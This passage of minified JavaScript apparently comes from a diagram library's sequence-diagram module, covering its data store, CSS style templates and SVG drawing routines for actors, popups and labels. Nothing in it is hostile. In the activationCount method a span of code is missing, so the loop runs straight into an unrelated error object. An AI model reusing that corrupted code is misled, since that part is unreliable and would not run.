re})();JF.parser=JF;Mye=JF});var XZe,jZe,KZe,b4,J6,e$=N(()=>{"use strict";Xt();w2();pt();fF();gr();ci();XZe={SOLID:0,DOTTED:1,NOTE:2,SOLID_CROSS:3,DOTTED_CROSS:4,SOLID_OPEN:5,DOTTED_OPEN:6,LOOP_START:10,LOOP_END:11,ALT_START:12,ALT_ELSE:13,ALT_END:14,OPT_START:15,OPT_END:16,ACTIVE_START:17,ACTIVE_END:18,PAR_START:19,PAR_AND:20,PAR_END:21,RECT_START:22,RECT_END:23,SOLID_POINT:24,DOTTED_POINT:25,AUTONUMBER:26,CRITICAL_START:27,CRITICAL_OPTION:28,CRITICAL_END:29,BREAK_START:30,BREAK_END:31,PAR_OVER_START:32,BIDIRECTIONAL_SOLID:33,BIDIRECTIONAL_DOTTED:34},jZe={FILLED:0,OPEN:1},KZe={LEFTOF:0,RIGHTOF:1,OVER:2},b4={ACTOR:"actor",BOUNDARY:"boundary",COLLECTIONS:"collections",CONTROL:"control",DATABASE:"database",ENTITY:"entity",PARTICIPANT:"participant",QUEUE:"queue"},J6=class{constructor(){this.state=new J1(()=>({prevActor:void 0,actors:new Map,createdActors:new Map,destroyedActors:new Map,boxes:[],messages:[],notes:[],sequenceNumbersEnabled:!1,wrapEnabled:void 0,currentBox:void 0,lastCreated:void 0,lastDestroyed:void 0}));this.setAccTitle=Rr;this.setAccDescription=Ir;this.setDiagramTitle=$r;this.getAccTitle=Mr;this.getAccDescription=Or;this.getDiagramTitle=Pr;this.apply=this.apply.bind(this),this.parseBoxData=this.parseBoxData.bind(this),this.parseMessage=this.parseMessage.bind(this),this.clear(),this.setWrap(ge().wrap),this.LINETYPE=XZe,this.ARROWTYPE=jZe,this.PLACEMENT=KZe}static{o(this,"SequenceDB")}addBox(e){this.state.records.boxes.push({name:e.text,wrap:e.wrap??this.autoWrap(),fill:e.color,actorKeys:[]}),this.state.records.currentBox=this.state.records.boxes.slice(-1)[0]}addActor(e,r,n,i,a){let s=this.state.records.currentBox,l;if(a!==void 0){let h;a.includes(` +`)?h=a+` +`:h=`{ +`+a+` +}`,l=Kh(h,{schema:jh})}i=l?.type??i;let u=this.state.records.actors.get(e);if(u){if(this.state.records.currentBox&&u.box&&this.state.records.currentBox!==u.box)throw new Error(`A same participant should only be defined in one Box: ${u.name} can't be in '${u.box.name}' and in '${this.state.records.currentBox.name}' at the same time.`);if(s=u.box?u.box:this.state.records.currentBox,u.box=s,u&&r===u.name&&n==null)return}if(n?.text==null&&(n={text:r,type:i}),(i==null||n.text==null)&&(n={text:r,type:i}),this.state.records.actors.set(e,{box:s,name:r,description:n.text,wrap:n.wrap??this.autoWrap(),prevActor:this.state.records.prevActor,links:{},properties:{},actorCnt:null,rectData:null,type:i??"participant"}),this.state.records.prevActor){let h=this.state.records.actors.get(this.state.records.prevActor);h&&(h.nextActor=e)}this.state.records.currentBox&&this.state.records.currentBox.actorKeys.push(e),this.state.records.prevActor=e}activationCount(e){let r,n=0;if(!e)return 0;for(r=0;r>-",token:"->>-",line:"1",loc:{first_line:1,last_line:1,first_column:1,last_column:1},expected:["'ACTIVE_PARTICIPANT'"]},l}return this.state.records.messages.push({id:this.state.records.messages.length.toString(),from:e,to:r,message:n?.text??"",wrap:n?.wrap??this.autoWrap(),type:i,activate:a}),!0}hasAtLeastOneBox(){return this.state.records.boxes.length>0}hasAtLeastOneBoxWithTitle(){return this.state.records.boxes.some(e=>e.name)}getMessages(){return this.state.records.messages}getBoxes(){return this.state.records.boxes}getActors(){return this.state.records.actors}getCreatedActors(){return this.state.records.createdActors}getDestroyedActors(){return this.state.records.destroyedActors}getActor(e){return this.state.records.actors.get(e)}getActorKeys(){return[...this.state.records.actors.keys()]}enableSequenceNumbers(){this.state.records.sequenceNumbersEnabled=!0}disableSequenceNumbers(){this.state.records.sequenceNumbersEnabled=!1}showSequenceNumbers(){return this.state.records.sequenceNumbersEnabled}setWrap(e){this.state.records.wrapEnabled=e}extractWrap(e){if(e===void 0)return{};e=e.trim();let r=/^:?wrap:/.exec(e)!==null?!0:/^:?nowrap:/.exec(e)!==null?!1:void 0;return{cleanedText:(r===void 0?e:e.replace(/^:?(?:no)?wrap:/,"")).trim(),wrap:r}}autoWrap(){return this.state.records.wrapEnabled!==void 0?this.state.records.wrapEnabled:ge().sequence?.wrap??!1}clear(){this.state.reset(),Sr()}parseMessage(e){let r=e.trim(),{wrap:n,cleanedText:i}=this.extractWrap(r),a={text:i,wrap:n};return X.debug(`parseMessage: ${JSON.stringify(a)}`),a}parseBoxData(e){let r=/^((?:rgba?|hsla?)\s*\(.*\)|\w*)(.*)$/.exec(e),n=r?.[1]?r[1].trim():"transparent",i=r?.[2]?r[2].trim():void 0;if(window?.CSS)window.CSS.supports("color",n)||(n="transparent",i=e.trim());else{let l=new Option().style;l.color=n,l.color!==n&&(n="transparent",i=e.trim())}let{wrap:a,cleanedText:s}=this.extractWrap(i);return{text:s?sr(s,ge()):void 0,color:n,wrap:a}}addNote(e,r,n){let i={actor:e,placement:r,message:n.text,wrap:n.wrap??this.autoWrap()},a=[].concat(e,e);this.state.records.notes.push(i),this.state.records.messages.push({id:this.state.records.messages.length.toString(),from:a[0],to:a[1],message:n.text,wrap:n.wrap??this.autoWrap(),type:this.LINETYPE.NOTE,placement:r})}addLinks(e,r){let n=this.getActor(e);try{let i=sr(r.text,ge());i=i.replace(/=/g,"="),i=i.replace(/&/g,"&");let a=JSON.parse(i);this.insertLinks(n,a)}catch(i){X.error("error while parsing actor link text",i)}}addALink(e,r){let n=this.getActor(e);try{let i={},a=sr(r.text,ge()),s=a.indexOf("@");a=a.replace(/=/g,"="),a=a.replace(/&/g,"&");let l=a.slice(0,s-1).trim(),u=a.slice(s+1).trim();i[l]=u,this.insertLinks(n,i)}catch(i){X.error("error while parsing actor link text",i)}}insertLinks(e,r){if(e.links==null)e.links=r;else for(let n in r)e.links[n]=r[n]}addProperties(e,r){let n=this.getActor(e);try{let i=sr(r.text,ge()),a=JSON.parse(i);this.insertProperties(n,a)}catch(i){X.error("error while parsing actor properties text",i)}}insertProperties(e,r){if(e.properties==null)e.properties=r;else for(let n in r)e.properties[n]=r[n]}boxEnd(){this.state.records.currentBox=void 0}addDetails(e,r){let n=this.getActor(e),i=document.getElementById(r.text);try{let a=i.innerHTML,s=JSON.parse(a);s.properties&&this.insertProperties(n,s.properties),s.links&&this.insertLinks(n,s.links)}catch(a){X.error("error while parsing actor details text",a)}}getActorProperty(e,r){if(e?.properties!==void 0)return e.properties[r]}apply(e){if(Array.isArray(e))e.forEach(r=>{this.apply(r)});else switch(e.type){case"sequenceIndex":this.state.records.messages.push({id:this.state.records.messages.length.toString(),from:void 0,to:void 0,message:{start:e.sequenceIndex,step:e.sequenceIndexStep,visible:e.sequenceVisible},wrap:!1,type:e.signalType});break;case"addParticipant":this.addActor(e.actor,e.actor,e.description,e.draw,e.config);break;case"createParticipant":if(this.state.records.actors.has(e.actor))throw new Error("It is not possible to have actors with the same id, even if one is destroyed before the next is created. Use 'AS' aliases to simulate the behavior");this.state.records.lastCreated=e.actor,this.addActor(e.actor,e.actor,e.description,e.draw,e.config),this.state.records.createdActors.set(e.actor,this.state.records.messages.length);break;case"destroyParticipant":this.state.records.lastDestroyed=e.actor,this.state.records.destroyedActors.set(e.actor,this.state.records.messages.length);break;case"activeStart":this.addSignal(e.actor,void 0,void 0,e.signalType);break;case"activeEnd":this.addSignal(e.actor,void 0,void 0,e.signalType);break;case"addNote":this.addNote(e.actor,e.placement,e.text);break;case"addLinks":this.addLinks(e.actor,e.text);break;case"addALink":this.addALink(e.actor,e.text);break;case"addProperties":this.addProperties(e.actor,e.text);break;case"addDetails":this.addDetails(e.actor,e.text);break;case"addMessage":if(this.state.records.lastCreated){if(e.to!==this.state.records.lastCreated)throw new Error("The created participant "+this.state.records.lastCreated.name+" does not have an associated creating message after its declaration. Please check the sequence diagram.");this.state.records.lastCreated=void 0}else if(this.state.records.lastDestroyed){if(e.to!==this.state.records.lastDestroyed&&e.from!==this.state.records.lastDestroyed)throw new Error("The destroyed participant "+this.state.records.lastDestroyed.name+" does not have an associated destroying message after its declaration. Please check the sequence diagram.");this.state.records.lastDestroyed=void 0}this.addSignal(e.from,e.to,e.msg,e.signalType,e.activate);break;case"boxStart":this.addBox(e.boxData);break;case"boxEnd":this.boxEnd();break;case"loopStart":this.addSignal(void 0,void 0,e.loopText,e.signalType);break;case"loopEnd":this.addSignal(void 0,void 0,void 0,e.signalType);break;case"rectStart":this.addSignal(void 0,void 0,e.color,e.signalType);break;case"rectEnd":this.addSignal(void 0,void 0,void 0,e.signalType);break;case"optStart":this.addSignal(void 0,void 0,e.optText,e.signalType);break;case"optEnd":this.addSignal(void 0,void 0,void 0,e.signalType);break;case"altStart":this.addSignal(void 0,void 0,e.altText,e.signalType);break;case"else":this.addSignal(void 0,void 0,e.altText,e.signalType);break;case"altEnd":this.addSignal(void 0,void 0,void 0,e.signalType);break;case"setAccTitle":Rr(e.text);break;case"parStart":this.addSignal(void 0,void 0,e.parText,e.signalType);break;case"and":this.addSignal(void 0,void 0,e.parText,e.signalType);break;case"parEnd":this.addSignal(void 0,void 0,void 0,e.signalType);break;case"criticalStart":this.addSignal(void 0,void 0,e.criticalText,e.signalType);break;case"option":this.addSignal(void 0,void 0,e.optionText,e.signalType);break;case"criticalEnd":this.addSignal(void 0,void 0,void 0,e.signalType);break;case"breakStart":this.addSignal(void 0,void 0,e.breakText,e.signalType);break;case"breakEnd":this.addSignal(void 0,void 0,void 0,e.signalType);break}}getConfig(){return ge().sequence}}});var QZe,Oye,Pye=N(()=>{"use strict";QZe=o(t=>`.actor { + stroke: ${t.actorBorder}; + fill: ${t.actorBkg}; + } + + text.actor > tspan { + fill: ${t.actorTextColor}; + stroke: none; + } + + .actor-line { + stroke: ${t.actorLineColor}; + } + + .innerArc { + stroke-width: 1.5; + stroke-dasharray: none; + } + + .messageLine0 { + stroke-width: 1.5; + stroke-dasharray: none; + stroke: ${t.signalColor}; + } + + .messageLine1 { + stroke-width: 1.5; + stroke-dasharray: 2, 2; + stroke: ${t.signalColor}; + } + + #arrowhead path { + fill: ${t.signalColor}; + stroke: ${t.signalColor}; + } + + .sequenceNumber { + fill: ${t.sequenceNumberColor}; + } + + #sequencenumber { + fill: ${t.signalColor}; + } + + #crosshead path { + fill: ${t.signalColor}; + stroke: ${t.signalColor}; + } + + .messageText { + fill: ${t.signalTextColor}; + stroke: none; + } + + .labelBox { + stroke: ${t.labelBoxBorderColor}; + fill: ${t.labelBoxBkgColor}; + } + + .labelText, .labelText > tspan { + fill: ${t.labelTextColor}; + stroke: none; + } + + .loopText, .loopText > tspan { + fill: ${t.loopTextColor}; + stroke: none; + } + + .loopLine { + stroke-width: 2px; + stroke-dasharray: 2, 2; + stroke: ${t.labelBoxBorderColor}; + fill: ${t.labelBoxBorderColor}; + } + + .note { + //stroke: #decc93; + stroke: ${t.noteBorderColor}; + fill: ${t.noteBkgColor}; + } + + .noteText, .noteText > tspan { + fill: ${t.noteTextColor}; + stroke: none; + } + + .activation0 { + fill: ${t.activationBkgColor}; + stroke: ${t.activationBorderColor}; + } + + .activation1 { + fill: ${t.activationBkgColor}; + stroke: ${t.activationBorderColor}; + } + + .activation2 { + fill: ${t.activationBkgColor}; + stroke: ${t.activationBorderColor}; + } + + .actorPopupMenu { + position: absolute; + } + + .actorPopupMenuPanel { + position: absolute; + fill: ${t.actorBkg}; + box-shadow: 0px 8px 16px 0px rgba(0,0,0,0.2); + filter: drop-shadow(3px 5px 2px rgb(0 0 0 / 0.4)); +} + .actor-man line { + stroke: ${t.actorBorder}; + fill: ${t.actorBkg}; + } + .actor-man circle, line { + stroke: ${t.actorBorder}; + fill: ${t.actorBkg}; + stroke-width: 2px; + } + +`,"getStyles"),Oye=QZe});var t$,Yf,jf,Kf,eC,Xf,T4,ZZe,tC,w4,o0,Bye,Fr,r$,JZe,eJe,tJe,rJe,nJe,iJe,aJe,sJe,oJe,lJe,cJe,uJe,hJe,Fye,fJe,dJe,pJe,mJe,gJe,yJe,vJe,$ye,xJe,oh,bJe,mi,zye=N(()=>{"use strict";t$=ja(tm(),1);qn();tr();gr();r2();Yf=36,jf="actor-top",Kf="actor-bottom",eC="actor-box",Xf="actor-man",T4=o(function(t,e){return Fd(t,e)},"drawRect"),ZZe=o(function(t,e,r,n,i){if(e.links===void 0||e.links===null||Object.keys(e.links).length===0)return{height:0,width:0};let a=e.links,s=e.actorCnt,l=e.rectData;var u="none";i&&(u="block !important");let h=t.append("g");h.attr("id","actor"+s+"_popup"),h.attr("class","actorPopupMenu"),h.attr("display",u);var f="";l.class!==void 0&&(f=" "+l.class);let d=l.width>r?l.width:r,p=h.append("rect");if(p.attr("class","actorPopupMenuPanel"+f),p.attr("x",l.x),p.attr("y",l.height),p.attr("fill",l.fill),p.attr("stroke",l.stroke),p.attr("width",d),p.attr("height",l.height),p.attr("rx",l.rx),p.attr("ry",l.ry),a!=null){var m=20;for(let v in a){var g=h.append("a"),y=(0,t$.sanitizeUrl)(a[v]);g.attr("xlink:href",y),g.attr("target","_blank"),bJe(n)(v,g,l.x+10,l.height+m,d,20,{class:"actor"},n),m+=30}}return p.attr("height",m),{height:l.height+m,width:d}},"drawPopup"),tC=o(function(t){return"var pu = document.getElementById('"+t+"'); if (pu != null) { pu.style.display = pu.style.display == 'block' ? 'none' : 'block'; }"},"popupMenuToggle"),w4=o(async function(t,e,r=null){let n=t.append("foreignObject"),i=await kh(e.text,Qt()),s=n.append("xhtml:div").attr("style","width: fit-content;").attr("xmlns","http://www.w3.org/1999/xhtml").html(i).node().getBoundingClientRect();if(n.attr("height",Math.round(s.height)).attr("width",Math.round(s.width)),e.class==="noteText"){let l=t.node().firstChild;l.setAttribute("height",s.height+2*e.textMargin);let u=l.getBBox();n.attr("x",Math.round(u.x+u.width/2-s.width/2)).attr("y",Math.round(u.y+u.height/2-s.height/2))}else if(r){let{startx:l,stopx:u,starty:h}=r;if(l>u){let f=l;l=u,u=f}n.attr("x",Math.round(l+Math.abs(l-u)/2-s.width/2)),e.class==="loopText"?n.attr("y",Math.round(h)):n.attr("y",Math.round(h-s.height))}return[n]},"drawKatex"),o0=o(function(t,e){let r=0,n=0,i=e.text.split(tt.lineBreakRegex),[a,s]=vc(e.fontSize),l=[],u=0,h=o(()=>e.y,"yfunc");if(e.valign!==void 0&&e.textMargin!==void 0&&e.textMargin>0)switch(e.valign){case"top":case"start":h=o(()=>Math.round(e.y+e.textMargin),"yfunc");break;case"middle":case"center":h=o(()=>Math.round(e.y+(r+n+e.textMargin)/2),"yfunc");break;case"bottom":case"end":h=o(()=>Math.round(e.y+(r+n+2*e.textMargin)-e.textMargin),"yfunc");break}if(e.anchor!==void 0&&e.textMargin!==void 0&&e.width!==void 0)switch(e.anchor){case"left":case"start":e.x=Math.round(e.x+e.textMargin),e.anchor="start",e.dominantBaseline="middle",e.alignmentBaseline="middle";break;case"middle":case"center":e.x=Math.round(e.x+e.width/2),e.anchor="middle",e.dominantBaseline="middle",e.alignmentBaseline="middle";break;case"right":case"end":e.x=Math.round(e.x+e.width-e.textMargin),e.anchor="end",e.dominantBaseline="middle",e.alignmentBaseline="middle";break}for(let[f,d]of i.entries()){e.textMargin!==void 0&&e.textMargin===0&&a!==void 0&&(u=f*a);let p=t.append("text");p.attr("x",e.x),p.attr("y",h()),e.anchor!==void 0&&p.attr("text-anchor",e.anchor).attr("dominant-baseline",e.dominantBaseline).attr("alignment-baseline",e.alignmentBaseline),e.fontFamily!==void 0&&p.style("font-family",e.fontFamily),s!==void 0&&p.style("font-size",s),e.fontWeight!==void 0&&p.style("font-weight",e.fontWeight),e.fill!==void 0&&p.attr("fill",e.fill),e.class!==void 0&&p.attr("class",e.class),e.dy!==void 0?p.attr("dy",e.dy):u!==0&&p.attr("dy",u);let m=d||BL;if(e.tspan){let g=p.append("tspan");g.attr("x",e.x),e.fill!==void 0&&g.attr("fill",e.fill),g.text(m)}else p.text(m);e.valign!==void 0&&e.textMargin!==void 0&&e.textMargin>0&&(n+=(p._groups||p)[0][0].getBBox().height,r=n),l.push(p)}return l},"drawText"),Bye=o(function(t,e){function r(i,a,s,l,u){return i+","+a+" "+(i+s)+","+a+" "+(i+s)+","+(a+l-u)+" "+(i+s-u*1.2)+","+(a+l)+" "+i+","+(a+l)}o(r,"genPoints");let n=t.append("polygon");return n.attr("points",r(e.x,e.y,e.width,e.height,7)),n.attr("class","labelBox"),e.y=e.y+e.height/2,o0(t,e),n},"drawLabel"),Fr=-1,r$=o((t,e,r,n)=>{t.select&&r.forEach(i=>{let a=e.get(i),s=t.select("#actor"+a.actorCnt);!n.mirrorActors&&a.stopy?s.attr("y2",a.stopy+a.height/2):n.mirrorActors&&s.attr("y2",a.stopy)})},"fixLifeLineHeights"),JZe=o(function(t,e,r,n){let i=n?e.stopy:e.starty,a=e.x+e.width/2,s=i+e.height,l=t.append("g").lower();var u=l;n||(Fr++,Object.keys(e.links||{}).length&&!r.forceMenus&&u.attr("onclick",tC(`actor${Fr}_popup`)).attr("cursor","pointer"),u.append("line").attr("id","actor"+Fr).attr("x1",a).attr("y1",s).attr("x2",a).attr("y2",2e3).attr("class","actor-line 200").attr("stroke-width","0.5px").attr("stroke","#999").attr("name",e.name),u=l.append("g"),e.actorCnt=Fr,e.links!=null&&u.attr("id","root-"+Fr));let h=ua();var f="actor";e.properties?.class?f=e.properties.class:h.fill="#eaeaea",n?f+=` ${Kf}`:f+=` ${jf}`,h.x=e.x,h.y=i,h.width=e.width,h.height=e.height,h.class=f,h.rx=3,h.ry=3,h.name=e.name;let d=T4(u,h);if(e.rectData=h,e.properties?.icon){let m=e.properties.icon.trim();m.charAt(0)==="@"?lT(u,h.x+h.width-20,h.y+10,m.substr(1)):oT(u,h.x+h.width-20,h.y+10,m)}oh(r,kn(e.description))(e.description,u,h.x,h.y,h.width,h.height,{class:`actor ${eC}`},r);let p=e.height;if(d.node){let m=d.node().getBBox();e.height=m.height,p=m.height}return p},"drawActorTypeParticipant"),eJe=o(function(t,e,r,n){let i=n?e.stopy:e.starty,a=e.x+e.width/2,s=i+e.height,l=t.append("g").lower();var u=l;n||(Fr++,Object.keys(e.links||{}).length&&!r.forceMenus&&u.attr("onclick",tC(`actor${Fr}_popup`)).attr("cursor","pointer"),u.append("line").attr("id","actor"+Fr).attr("x1",a).attr("y1",s).attr("x2",a).attr("y2",2e3).attr("class","actor-line 200").attr("stroke-width","0.5px").attr("stroke","#999").attr("name",e.name),u=l.append("g"),e.actorCnt=Fr,e.links!=null&&u.attr("id","root-"+Fr));let h=ua();var f="actor";e.properties?.class?f=e.properties.class:h.fill="#eaeaea",n?f+=` ${Kf}`:f+=` ${jf}`,h.x=e.x,h.y=i,h.width=e.width,h.height=e.height,h.class=f,h.name=e.name;let d=6,p={...h,x:h.x+-d,y:h.y+ +d,class:"actor"},m=T4(u,h);if(T4(u,p),e.rectData=h,e.properties?.icon){let y=e.properties.icon.trim();y.charAt(0)==="@"?lT(u,h.x+h.width-20,h.y+10,y.substr(1)):oT(u,h.x+h.width-20,h.y+10,y)}oh(r,kn(e.description))(e.description,u,h.x-d,h.y+d,h.width,h.height,{class:`actor ${eC}`},r);let g=e.height;if(m.node){let y=m.node().getBBox();e.height=y.height,g=y.height}return g},"drawActorTypeCollections"),tJe=o(function(t,e,r,n){let i=n?e.stopy:e.starty,a=e.x+e.width/2,s=i+e.height,l=t.append("g").lower(),u=l;n||(Fr++,Object.keys(e.links||{}).length&&!r.forceMenus&&u.attr("onclick",tC(`actor${Fr}_popup`)).attr("cursor","pointer"),u.append("line").attr("id","actor"+Fr).attr("x1",a).attr("y1",s).attr("x2",a).attr("y2",2e3).attr("class","actor-line 200").attr("stroke-width","0.5px").attr("stroke","#999").attr("name",e.name),u=l.append("g"),e.actorCnt=Fr,e.links!=null&&u.attr("id","root-"+Fr));let h=ua(),f="actor";e.properties?.class?f=e.properties.class:h.fill="#eaeaea",n?f+=` ${Kf}`:f+=` ${jf}`,h.x=e.x,h.y=i,h.width=e.width,h.height=e.height,h.class=f,h.name=e.name;let d=h.height/2,p=d/(2.5+h.height/50),m=u.append("g"),g=u.append("g");if(m.append("path").attr("d",`M ${h.x},${h.y+d} + a ${p},${d} 0 0 0 0,${h.height} + h ${h.width-2*p} + a ${p},${d} 0 0 0 0,-${h.height} + Z + `).attr("class",f),g.append("path").attr("d",`M ${h.x},${h.y+d} + a ${p},${d} 0 0 0 0,${h.height}`).attr("stroke","#666").attr("stroke-width","1px").attr("class",f),m.attr("transform",`translate(${p}, ${-(h.height/2)})`),g.attr("transform",`translate(${h.width-p}, ${-h.height/2})`),e.rectData=h,e.properties?.icon){let x=e.properties.icon.trim(),b=h.x+h.width-20,T=h.y+10;x.charAt(0)==="@"?lT(u,b,T,x.substr(1)):oT(u,b,T,x)}oh(r,kn(e.description))(e.description,u,h.x,h.y,h.width,h.height,{class:`actor ${eC}`},r);let y=e.height,v=m.select("path:last-child");if(v.node()){let x=v.node().getBBox();e.height=x.height,y=x.height}return y},"drawActorTypeQueue"),rJe=o(function(t,e,r,n){let i=n?e.stopy:e.starty,a=e.x+e.width/2,s=i+75,l=t.append("g").lower();n||(Fr++,l.append("line").attr("id","actor"+Fr).attr("x1",a).attr("y1",s).attr("x2",a).attr("y2",2e3).attr("class","actor-line 200").attr("stroke-width","0.5px").attr("stroke","#999").attr("name",e.name),e.actorCnt=Fr);let u=t.append("g"),h=Xf;n?h+=` ${Kf}`:h+=` ${jf}`,u.attr("class",h),u.attr("name",e.name);let f=ua();f.x=e.x,f.y=i,f.fill="#eaeaea",f.width=e.width,f.height=e.height,f.class="actor";let d=e.x+e.width/2,p=i+30,m=18;u.append("defs").append("marker").attr("id","filled-head-control").attr("refX",11).attr("refY",5.8).attr("markerWidth",20).attr("markerHeight",28).attr("orient","172.5").append("path").attr("d","M 14.4 5.6 L 7.2 10.4 L 8.8 5.6 L 7.2 0.8 Z"),u.append("circle").attr("cx",d).attr("cy",p).attr("r",m).attr("fill","#eaeaf7").attr("stroke","#666").attr("stroke-width",1.2),u.append("line").attr("marker-end","url(#filled-head-control)").attr("transform",`translate(${d}, ${p-m})`);let g=u.node().getBBox();return e.height=g.height+2*(r?.sequence?.labelBoxHeight??0),oh(r,kn(e.description))(e.description,u,f.x,f.y+m+(n?5:10),f.width,f.height,{class:`actor ${Xf}`},r),e.height},"drawActorTypeControl"),nJe=o(function(t,e,r,n){let i=n?e.stopy:e.starty,a=e.x+e.width/2,s=i+75,l=t.append("g").lower(),u=t.append("g"),h=Xf;n?h+=` ${Kf}`:h+=` ${jf}`,u.attr("class",h),u.attr("name",e.name);let f=ua();f.x=e.x,f.y=i,f.fill="#eaeaea",f.width=e.width,f.height=e.height,f.class="actor";let d=e.x+e.width/2,p=i+(n?10:25),m=18;u.append("circle").attr("cx",d).attr("cy",p).attr("r",m).attr("width",e.width).attr("height",e.height),u.append("line").attr("x1",d-m).attr("x2",d+m).attr("y1",p+m).attr("y2",p+m).attr("stroke","#333").attr("stroke-width",2);let g=u.node().getBBox();return e.height=g.height+(r?.sequence?.labelBoxHeight??0),n||(Fr++,l.append("line").attr("id","actor"+Fr).attr("x1",a).attr("y1",s).attr("x2",a).attr("y2",2e3).attr("class","actor-line 200").attr("stroke-width","0.5px").attr("stroke","#999").attr("name",e.name),e.actorCnt=Fr),oh(r,kn(e.description))(e.description,u,f.x,f.y+(n?(p-i+m-5)/2:(p+m-i)/2),f.width,f.height,{class:`actor ${Xf}`},r),n?u.attr("transform",`translate(0, ${m/2})`):u.attr("transform",`translate(0, ${m/2})`),e.height},"drawActorTypeEntity"),iJe=o(function(t,e,r,n){let i=n?e.stopy:e.starty,a=e.x+e.width/2,s=i+e.height+2*r.boxTextMargin,l=t.append("g").lower(),u=l;n||(Fr++,Object.keys(e.links||{}).length&&!r.forceMenus&&u.attr("onclick",tC(`actor${Fr}_popup`)).attr("cursor","pointer"),u.append("line").attr("id","actor"+Fr).attr("x1",a).attr("y1",s).attr("x2",a).attr("y2",2e3).attr("class","actor-line 200").attr("stroke-width","0.5px").attr("stroke","#999").attr("name",e.name),u=l.append("g"),e.actorCnt=Fr,e.links!=null&&u.attr("id","root-"+Fr));let h=ua(),f="actor";e.properties?.class?f=e.properties.class:h.fill="#eaeaea",n?f+=` ${Kf}`:f+=` ${jf}`,h.x=e.x,h.y=i,h.width=e.width,h.height=e.height,h.class=f,h.name=e.name,h.x=e.x,h.y=i;let d=h.width/4,p=h.width/4,m=d/2,g=m/(2.5+d/50),y=u.append("g"),v=` + M ${h.x},${h.y+g} + a ${m},${g} 0 0 0 ${d},0 + a ${m},${g} 0 0 0 -${d},0 + l 0,${p-2*g} + a ${m},${g} 0 0 0 ${d},0 + l 0,-${p-2*g} +`;y.append("path").attr("d",v).attr("fill","#eaeaea").attr("stroke","#000").attr("stroke-width",1).attr("class",f),n?y.attr("transform",`translate(${d*1.5}, ${h.height/4-2*g})`):y.attr("transform",`translate(${d*1.5}, ${(h.height+g)/4})`),e.rectData=h,oh(r,kn(e.description))(e.description,u,h.x,h.y+(n?(h.height+p)/4:(h.height+g)/2),h.width,h.height,{class:`actor ${eC}`},r);let x=y.select("path:last-child");if(x.node()){let b=x.node().getBBox();e.height=b.height+(r.sequence.labelBoxHeight??0)}return e.height},"drawActorTypeDatabase"),aJe=o(function(t,e,r,n){let i=n?e.stopy:e.starty,a=e.x+e.width/2,s=i+80,l=30,u=t.append("g").lower();n||(Fr++,u.append("line").attr("id","actor"+Fr).attr("x1",a).attr("y1",s).attr("x2",a).attr("y2",2e3).attr("class","actor-line 200").attr("stroke-width","0.5px").attr("stroke","#999").attr("name",e.name),e.actorCnt=Fr);let h=t.append("g"),f=Xf;n?f+=` ${Kf}`:f+=` ${jf}`,h.attr("class",f),h.attr("name",e.name);let d=ua();d.x=e.x,d.y=i,d.fill="#eaeaea",d.width=e.width,d.height=e.height,d.class="actor",h.append("line").attr("id","actor-man-torso"+Fr).attr("x1",e.x+e.width/2-l*2.5).attr("y1",i+10).attr("x2",e.x+e.width/2-15).attr("y2",i+10),h.append("line").attr("id","actor-man-arms"+Fr).attr("x1",e.x+e.width/2-l*2.5).attr("y1",i+0).attr("x2",e.x+e.width/2-l*2.5).attr("y2",i+20),h.append("circle").attr("cx",e.x+e.width/2).attr("cy",i+10).attr("r",l);let p=h.node().getBBox();return e.height=p.height+(r.sequence.labelBoxHeight??0),oh(r,kn(e.description))(e.description,h,d.x,d.y+(n?l/2-4:l/2+3),d.width,d.height,{class:`actor ${Xf}`},r),n?h.attr("transform",`translate(0,${l/2+7})`):h.attr("transform",`translate(0,${l/2+7})`),e.height},"drawActorTypeBoundary"),sJe=o(function(t,e,r,n){let i=n?e.stopy:e.starty,a=e.x+e.width/2,s=i+80,l=t.append("g").lower();n||(Fr++,l.append("line").attr("id","actor"+Fr).attr("x1",a).attr("y1",s).attr("x2",a).attr("y2",2e3).attr("class","actor-line 200").attr("stroke-width","0.5px").attr("stroke","#999").attr("name",e.name),e.actorCnt=Fr);let u=t.append("g"),h=Xf;n?h+=` ${Kf}`:h+=` ${jf}`,u.attr("class",h),u.attr("name",e.name);let f=ua();f.x=e.x,f.y=i,f.fill="#eaeaea",f.width=e.width,f.height=e.height,f.class="actor",f.rx=3,f.ry=3,u.append("line").attr("id","actor-man-torso"+Fr).attr("x1",a).attr("y1",i+25).attr("x2",a).attr("y2",i+45),u.append("line").attr("id","actor-man-arms"+Fr).attr("x1",a-Yf/2).attr("y1",i+33).attr("x2",a+Yf/2).attr("y2",i+33),u.append("line").attr("x1",a-Yf/2).attr("y1",i+60).attr("x2",a).attr("y2",i+45),u.append("line").attr("x1",a).attr("y1",i+45).attr("x2",a+Yf/2-2).attr("y2",i+60);let d=u.append("circle");d.attr("cx",e.x+e.width/2),d.attr("cy",i+10),d.attr("r",15),d.attr("width",e.width),d.attr("height",e.height);let p=u.node().getBBox();return e.height=p.height,oh(r,kn(e.description))(e.description,u,f.x,f.y+35,f.width,f.height,{class:`actor ${Xf}`},r),e.height},"drawActorTypeActor"),oJe=o(async function(t,e,r,n){switch(e.type){case"actor":return await sJe(t,e,r,n);case"participant":return await JZe(t,e,r,n);case"boundary":return await aJe(t,e,r,n);case"control":return await rJe(t,e,r,n);case"entity":return await nJe(t,e,r,n);case"database":return await iJe(t,e,r,n);case"collections":return await eJe(t,e,r,n);case"queue":return await tJe(t,e,r,n)}},"drawActor"),lJe=o(function(t,e,r){let i=t.append("g");Fye(i,e),e.name&&oh(r)(e.name,i,e.x,e.y+r.boxTextMargin+(e.textMaxHeight||0)/2,e.width,0,{class:"text"},r),i.lower()},"drawBox"),cJe=o(function(t){return t.append("g")},"anchorElement"),uJe=o(function(t,e,r,n,i){let a=ua(),s=e.anchored;a.x=e.startx,a.y=e.starty,a.class="activation"+i%3,a.width=e.stopx-e.startx,a.height=r-e.starty,T4(s,a)},"drawActivation"),hJe=o(async function(t,e,r,n){let{boxMargin:i,boxTextMargin:a,labelBoxHeight:s,labelBoxWidth:l,messageFontFamily:u,messageFontSize:h,messageFontWeight:f}=n,d=t.append("g"),p=o(function(y,v,x,b){return d.append("line").attr("x1",y).attr("y1",v).attr("x2",x).attr("y2",b).attr("class","loopLine")},"drawLoopLine");p(e.startx,e.starty,e.stopx,e.starty),p(e.stopx,e.starty,e.stopx,e.stopy),p(e.startx,e.stopy,e.stopx,e.stopy),p(e.startx,e.starty,e.startx,e.stopy),e.sections!==void 0&&e.sections.forEach(function(y){p(e.startx,y.y,e.stopx,y.y).style("stroke-dasharray","3, 3")});let 